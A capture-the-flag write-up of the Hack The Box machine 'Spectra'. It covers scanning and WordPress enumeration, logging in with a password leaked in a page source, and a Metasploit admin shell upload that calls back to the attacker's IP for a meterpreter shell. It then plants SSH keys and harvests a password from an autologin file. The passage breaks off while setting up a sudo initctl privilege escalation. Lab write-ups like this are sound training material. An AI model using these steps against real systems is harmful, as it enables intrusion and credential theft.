HTB: Spectra

5 min readJun 27, 2021

Machine IP: 10.10.10.229
System IP: 10.10.14.185

Let’s start with network mapper (Nmap)

nmap -A -p- -T4 10.10.10.229 -v -oN ./Nmap.txt

which output the following

Nmap scan report for 10.10.10.229
Host is up (0.39s latency).
Not shown: 63722 closed ports, 1810 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp   open  http    nginx 1.17.4
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql?
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)

Port 80

On web-address 10.10.10.229:80 we are greeted with a barebone html but when we look into page source we get to see the domain names as `spectra.htb`

So let’s update `/etc/host` with the IP and domain name. After updating it should look like

Now on spectra.htb/main/ we are welcomed with a wordpress website.

On spectra.htb/testing/index.php we are getting an `error`

On subdirectory enumeration

gobuster dir -u http://spectra.htb/main -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 70

possible paths

http://spectra.htb/main/wp-content/
http://spectra.htb/main/wp-includes/
http://spectra.htb/main/wp-admin/
http://spectra.htb/testing/      #This one found on main page

So let’s first start with wordpress page.
With WPScan we found

wpscan --url http://spectra.htb/main/

and the output we received

[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).
 
[+] WordPress theme in use: twentytwenty
 | Location: http://spectra.htb/main/wp-content/themes/twentytwenty/
 | Last Updated: 2021-03-09T00:00:00.000Z
 | Readme: http://spectra.htb/main/wp-content/themes/twentytwenty/readme.txt
 | [!] The version is out of date, the latest version is 1.7
 | Style URL: http://spectra.htb/main/wp-content/themes/twentytwenty/style.css?ver=1.2
 | Style Name: Twenty Twenty
 | Style URI: https://wordpress.org/themes/twentytwenty/
 | Version: 1.2 (80% confidence)
 
[i] User(s) Identified:[+] administrator
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

So we have a username now “administrator” now we need to look for password. On visiting spectra.htb/testing/ And on viewing the page source we find a username and password :)

So now on visiting spectra.htb/main/wp-admin/ we login with administrator:devteam01 and it worked.

So now with little google foo you can find various ways to upload a backdoor on of which is from RAPID7

With settings it gives us meterpreter shell:

use exploit/unix/webapp/wp_admin_shell_upload
show targets
set PASSWORD devteam01
set username administrator
set lhost 10.10.14.158
set rhosts 10.10.10.229
set TARGETURI /main/
exploit

So now it’s time to stablise the shell

meterpreter> shell
python -c 'import pty; pty.spawn("/bin/bash")'

On listing the home dir of our user we found
user: nginx and also we can read/write to authorized keys so let’s first connect via ssh

1. Create ssh key pair on kali
2. Transfer public key to machine
3. Rename public key to authorized_keys
4. Connect using public key.

To view number of users

After recon we find a file in `/opt/autologin.conf.orig`

With content

start on started boot-complete
script
  passwd=
  # Read password from file. The file may optionally end with a newline.
  for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
    if [ -e "${dir}/passwd" ]; then
      passwd="$(cat "${dir}/passwd")"
      break
    fi
  done
  if [ -z "${passwd}" ]; then
    exit 0
  fi
  /usr/local/sbin/inject-keys.py -s "${passwd}" -k enter
end script

Cool so after :’) reading and revising some shell scripting I started doing enumeration at the paths mentioned in the script and inside `/etc/autologin/passwd` i found a password.

It’s found that we cant use su with user nginx :’) so lets again ssh and tryout the password with different users

On checking the power of our user we find

I looked for the binary in gtfoBins but no success.

On reading about initctl i landed on three links
— Initctl
— Init

After this I looked for other online resources and landed on ExploitDB according to the post initctl posseses a vulnerability that it first communicate to init which itself runs the processes stored in /etc/init without any sanitization. So since we have a sudo priveleges on /sbin/initctl we can execute a malicious code in /etc/init.

Inside /etc/init we already have many files so lets edit anyone